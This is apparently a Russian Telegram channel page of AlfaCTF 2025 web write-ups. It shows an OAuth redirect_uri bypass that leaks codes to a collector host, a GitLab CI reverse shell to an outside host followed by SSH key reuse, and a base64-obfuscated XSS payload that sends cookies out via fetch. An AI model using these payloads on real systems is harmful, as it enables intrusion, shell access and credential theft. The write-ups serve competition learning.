Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#web #alfactf2025

Шакализация волны от @Dan1Lev, наша команда xyz ❤️

tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.

shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:

https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и

redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]


вернёт

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


что как раз проходит по условию.

🔹 В момент запроса строка

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


преобразуется в

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru


Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.

В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback

и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥82
Вихрь рик-ролла.pdf
28.7 KB
#web #alfactf2025
Студенческая лига

Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
2
#web #alfactf2025

Разработчик на пляже от моего тиммейта @Dan1Lev

Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php

Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab

Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
- build

shell:
stage: build
script:
- sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1


В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt


💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
91
Цунами_дедлайнов_Решение_@THL_1xBtc.pdf
266.7 KB
#web #alfactf2025
Студенческая лига

Цунами дедлайнов автор @THL_1xBtc

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
#web #alfactf2025

Возвращение стены, автор @Dan1Lev

Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.

На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "

Защита есть только со стороны фронта которая даст отправить только url.

Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "

Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);


Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>

Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.

Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="


После установки создаём 3 поста и спустя мгновение получаем куки с флагом

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
82
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433
Please open Telegram to view this post
VIEW IN TELEGRAM
1101